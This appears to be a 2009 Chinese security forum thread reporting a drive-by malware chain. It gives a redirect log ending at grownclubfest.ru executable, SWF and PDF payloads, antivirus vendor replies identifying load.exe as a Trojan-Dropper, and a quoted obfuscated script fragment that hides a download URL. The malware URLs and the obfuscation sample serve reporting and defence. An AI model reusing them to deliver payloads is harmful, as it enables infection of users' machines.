www.sanao.narod.ru

knifed

关于:hxxp://www.sanao.narod.ru/解密的日志(全体输出 - 12):

Level 0>http://www.sanao.narod.ru/
Level 1>http://yabs.yandex.ru/show/163
Level 1>http://sujetline.ru/sceneric.html?11000854d707
Level 2>http://sujetline.ru/sowy.html
Level 3>http://grownclubfest.ru/ente/index.php
Level 4>http://grownclubfest.ru/ente/update.php?id=6(exe)
Level 4>http://grownclubfest.ru/ente/aregalley.swf ●
Level 4>http://grownclubfest.ru/ente/modelevenis.pdf
Level 5>http://grownclubfest.ru/ente/update.php?id=0(exe)
Level 5>http://grownclubfest.ru/ente/update.php?id=1(exe)
Level 5>http://grownclubfest.ru/ente/update.php?id=2(exe)
Level 1>http://jobstopfil.biz/tds_a/go.php/go.php?id=4

幸福的猪猪

to kaspersky kill。

Hello,

load.exe_ - Trojan-Dropper.Win32.Agent.axij

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.




to avira kill。

A listing of files contained inside archives alongside their results can be found below:

File ID	?Filename	Size (Byte)	Result
25403574	load.exe	28.5 KB	MALWARE

Please find a detailed report concerning each individual sample below:

?Filename	Result
load.exe	MALWARE

The file 'load.exe' has been determined to be 'MALWARE'.
Our analysts discovered that the file is a Trojan. In general this kind of programs contains harmful functionality called payload. Detection will be added to our virus definition file (VDF) with one of the next updates.



to kv kill。

[ 本帖最后由 幸福的猪猪 于 2009-7-23 05:27 编辑 ]

shadowmin

http://grownclubfest.ru/ente/index.php

<thereHaveOn id='sitFiveBc' value='hCt*t*p#:{/{/#g*r*oCw{n{c*l*u2b2f{e#s#t2.*rCu{/*eCn*t{e{/Cu2p2d{a#tCe#.2p*hCp#?{i{d*=C4C'
('sitFiveBc').replace(/[C2#\{\*]/g, ''),
http://grownclubfest.ru/ente/update.php?id=4